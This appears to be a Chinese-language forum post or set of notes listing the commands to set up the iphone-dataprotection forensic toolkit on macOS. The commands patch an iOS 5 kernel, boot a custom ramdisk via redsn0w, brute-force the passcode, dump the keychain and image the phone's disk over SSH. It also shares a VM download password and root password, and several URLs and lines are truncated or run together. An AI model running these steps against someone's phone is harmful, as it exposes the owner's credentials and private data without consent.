原code 參考
http://code.google.com/p/iphone-data...on/wiki/README
如果用VM 下載
http://kuai.xunlei.com/d/WMSBPYFNTZVX
密碼 HELLOWORLD
user 跟root password 都為9個s
ios ipsw和另外一個opensources專案下載參考點
https://github.com/KatanaForensics/LanternLite
另外個程式下載點
http://katanaforensics.com/lantern/lanternlite
要先裝xcode 套件
此套件也要安裝 http://mercurial.berkwood.com/
10.7 載點 http://mercurial.berkwood.com/binari...macosx10.7.zip
10.6 載點 http://mercurial.berkwood.com/binari...macosx10.6.zip
sudo -s root密碼9個s curl -O http://networkpx.googlecode.com/files/ldid
chmod +x ldid
sudo mv ldid /usr/bin/
#install OSXFuse for img3fs 安裝osxfuse 套件
curl -O -L https://github.com/downloads/osxfuse/osxfuse/OSXFUSE-2.3.4.dmg
hdiutil mount OSXFUSE-2.3.4.dmg
sudo installer -pkg /Volumes/FUSE\for\ OS\ X/Install\ OSXFUSE\2.3.pkg -target /
hdiutil eject /Volumes/FUSE\for\ OS\ X/
#you will need these python modules
sudo ARCHFLAGS='-arch i386 -arch x86_64' easy_install pycrypto
sudo easy_install M2crypto construct progressbar
以下藍色要注意檔案位置跟名稱 .. hg clone https://code.google.com/p/iphone-dataprotection/
cd iphone-dataprotection
make -C img3fs/
curl -O -L https://sites.google.com/a/iphone-dev.com/files/home/redsn0w_mac_0.9.9b8.zip
unzip redsn0w_mac_0.9.9b8.zip
cp redsn0w_mac_0.9.9b8/redsn0w.app/Contents/MacOS/Keys.plist .
python python_scripts/kernel_patcher.py IOS5_IPSW_FOR_YOUR_DEVICE
sh ./make_ramdisk_n88ap.sh (這邊要注意生成不同的規格 ram disk 的sh不同 請照上面結果換)
./redsn0w_mac_0.9.9b8/redsn0w.app/Contents/MacOS/redsn0w -i IOS5_IPSW_FOR_YOUR_DEVICE -r myramdisk.dmg -k kernelcache.release.n88.patched
#將usb port iphone 轉為本地port python usbmuxd-python-client/tcprelay.py -t 22:22221999:1999
python python_scripts/demo_bruteforce.py python python_scripts/keychain_tool.py -d UDID/keychain-2.db UDID/DATAVOLUMEID.plist
ssh -p 2222 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null root@localhost "dd if=/dev/rdisk0s2s1 bs=8192 || dd if=/dev/rdisk0s1s2 bs=8192" >image.img